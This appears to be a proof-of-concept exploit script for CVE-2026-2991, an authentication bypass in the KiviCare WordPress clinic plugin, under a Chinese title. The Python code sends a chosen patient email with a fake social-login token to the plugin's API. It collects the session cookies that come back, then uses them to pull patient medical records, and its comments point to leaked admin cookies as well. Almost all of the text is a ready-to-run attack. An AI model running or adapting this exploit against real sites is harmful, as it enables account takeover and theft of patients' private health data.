CVE-2026-2991: KiviCare WordPress插件患者认证绕过漏洞

import requests import json # CVE-2026-2991 PoC - KiviCare Authentication Bypass # Target: WordPress site with KiviCare plugin <= 4.1.2 target_url = "http://target-wordpress-site.com" # Replace with actual patient email you want to impersonate target_email = "[email protected]" arbitrary_token = "fake_social_access_token_12345" # Social login endpoint (typically in the API path) login_endpoint = f"{target_url}/wp-json/kivicare/v1/social-login" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } # Malicious payload exploiting the missing token validation payload = { "email": target_email, "access_token": arbitrary_token, "social_provider": "google" # or "facebook", "apple", etc. } print(f"[*] Attempting authentication bypass for: {target_email}") print(f"[*] Target: {login_endpoint}") try: response = requests.post(login_endpoint, json=payload, headers=headers, timeout=10) # Check for authentication cookies in response cookies = response.cookies.get_dict() print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Headers: {dict(response.headers)}") if cookies: print(f"[+] SUCCESS! Obtained authentication cookies: {cookies}") print("[+] Use these cookies to access patient data via API endpoints") # Example: Access patient records patient_data_endpoint = f"{target_url}/wp-json/kivicare/v1/patient-records" patient_response = requests.get(patient_data_endpoint, cookies=cookies) print(f"[*] Patient data response: {patient_response.status_code}") if patient_response.status_code == 200: print(f"[+] Patient data: {json.dumps(patient_response.json(), indent=2)}") else: print("[-] No cookies obtained, exploitation may have failed") print(f"[*] Full response: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # Note: Also check for admin cookie leakage in response headers # print(f"[*] Set-Cookie headers: {response.headers.get('Set-Cookie')}")